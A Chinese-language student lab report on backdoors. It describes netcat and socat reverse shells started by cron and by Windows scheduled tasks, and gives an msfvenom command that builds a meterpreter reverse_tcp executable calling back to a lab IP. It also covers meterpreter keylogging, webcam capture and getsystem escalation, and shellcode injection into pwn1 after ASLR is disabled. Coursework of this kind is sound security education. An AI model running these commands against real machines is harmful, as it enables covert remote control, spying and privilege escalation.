1. 程式人生 > 其它 >20192424王昭雲後門原理與實踐實驗報告

20192424王昭雲後門原理與實踐實驗報告

20192424王昭雲實驗二

實驗內容

任務一:使用netcat獲取主機操作Shell,cron啟動

  • 首先獲取windowsIP
  • 然後獲取ubuntu的IP
  • 配置cron,設定16分鐘進行反向連線windows
  • 由於cron執行失敗,我單獨執行反連線發現nc不支援-e命令,經過不斷的上網查證發現nc官網下載的和本地預設的都是自動模式,此模式不支援-e,於是如上圖,我改成了手工模式,並且反彈連線成功。下圖是修改模式截圖:
  • Cron自動進入,如圖:

任務二:使用socat獲取主機操作Shell, 任務計劃啟動

  • ubuntu中下載並執行socat
  • windows中設定任務自啟動計劃,如圖
  • 任務自動執行後出現如下報錯,不過不影響獲得windows的shell,如下圖:

任務三:使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

  • 下載安裝msf之類的軟體,我因為github部分網頁被牆,去官網下載了deb包自己安裝的。接下來msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.132 LPORT=1314 -f exe > 20192424_backdoor.exe生成後門程式:
  • 引數說明:
    -p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。
    -e 使用的編碼器,用於對shellcode變形,為了免殺。
    -i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
    -b badchar是payload中需要去除的字元。 LHOST 是反彈回連的IP LPORT 是回連的埠
    -f 生成檔案的型別
  • 在Windows下執行ncat -l 1314 > 20181314_backdoor.exe,這樣被控主機就進入了接收檔案模式:
  • 可以看到後門程式已經傳過來了
  • 進入msfconsole
  • 成功通過後門程式獲得shell:

任務四:使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 使用webcam_snap進行拍照
  • 使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄
  • 使用screenshot指令可以進行截圖,效果如下:
  • 先使用getuid指令檢視當前使用者,使用getsystem指令進行提權

任務五:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell(1分)加分內容一併寫入本實驗報告。

  • 做好環境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space關閉地址隨機化
  • 檢視靶機版本
  • 修改圖中code為ubuntu的IP地址對應192.168.189.132
  • 修改埠號為0522h對應1314
  • 開啟一個終端使用(cat input_shellcode;cat) | ./pwn1注入這段攻擊buf
    再開另外一個終端,用gdb來除錯pwn1這個程序。輸入ps -ef | grep pwn1找到pwn1的程序號
    之後啟動gdb使用attach除錯這個程序。使用disassemble foo檢視到ret的地址
  • 設定斷點
  • 找到被覆蓋的eip
  • 計算得到FFFFD090
  • 在shellocode中新增ret地址
  • 然後啟動msfconsole,執行pwn1,管道輸入shellcode
  • 實驗暫時失敗,失敗結果如下:
  • 失敗原因在於payload識別不出來:
  • 通過msfvonom -l payloads>payloadsshow | vim payloadsshow檢視支援的payloads種類
  • 嘗試使用迴環地址,生成新的shellcode:
  • 嘗試新的payloads
  • Msfconsole中沒有任何反應,根據wireshark抓包猜測結果:
  • 可見,後門程式先在4444埠傳送了連線請求,msf的埠也收到了該請求,然後進行了回覆,回覆包如下:
  • 到現在可以知道shellcode注入沒有技術問題,惡意程式碼是可以正常執行的,惡意程式碼中的反彈連線請求也能傳送,那麼問題應該在於payload的版本。
    Kali中的gdb除錯截圖
  • Shellcode注入截圖
  • 以下是kali版本同一個payload成功截圖

基礎問題回答

例舉你能想到的一個後門進入到你係統中的可能方式?

  • 通過修改PE,ELF檔案中的匯入表等等在我們下載的程式中插入後門。
  • 通過XSS攻擊讓瀏覽器自動下載後門程式

例舉你知道的後門如何啟動起來(win及linux)的方式?

  • windows通過任務計劃
  • linux中用cron
  • 修改登錄檔開機自啟動
  • shellcode通過緩衝區溢位等方式啟動
  • 訪問帶有惡意程式碼的bmp圖片

Meterpreter有哪些給你映像深刻的功能?

  • 能自動生成exe,raw,c等格式對應不同系統不同功能不同語言的漏洞,實現了漏洞的DIY
  • 對後門程式的封裝很好,操作簡單,比如通過後臺截圖攝像等等

如何發現自己有系統有沒有被安裝後門?

  • 檢查下載的檔案的hash,與官網的hash對比
  • 檢查流量是否異常
  • 檢查登錄檔
  • 檢查是否有異常埠使用